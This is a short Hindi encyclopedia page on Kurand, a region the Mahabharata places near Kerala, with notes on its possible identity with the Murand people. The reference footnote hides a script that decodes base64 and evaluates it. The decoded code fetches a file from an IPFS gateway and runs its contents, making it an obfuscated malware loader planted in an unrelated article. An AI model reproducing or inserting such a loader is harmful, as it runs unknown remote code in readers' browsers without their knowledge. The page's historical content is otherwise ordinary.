कुरंड

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कुरंड देश का उल्लेख महाभारत, कर्णपर्व में हुआ है, जहाँ इसे केरल के निकट स्थित बतलाया गया है-

'कारस्करान्माहिष्कान् कुरंडान केरलांस्तया, कर्कोटकान् वीरकांश्च दुधंर्मांश्च विवर्जयेत्।' महाभारत, कर्णपर्व 44, 33.

  • उपर्युक्त प्रसंग से जान पड़ता है कि कुरंड लोगों के देश की स्थिति दक्षिण भारत में केरल के निकट थी।[1]
  • कुरंड लोग अनार्य जातीय रहे होंगे, क्योंकि इन्हें विवर्जनीय बताया गया है। संभव है कि कुरंड और मुरंड एक ही हों।
  • मुरंड लोग शक जातीय थे और इनका निवास महाराष्ट्र के प्रदेश में था।
  • समुद्रगुप्त की प्रयाग प्रशस्ति में 'शक मुरंडों' का उल्लेख हुआ है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 205 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

[[Category:]][[Category:]]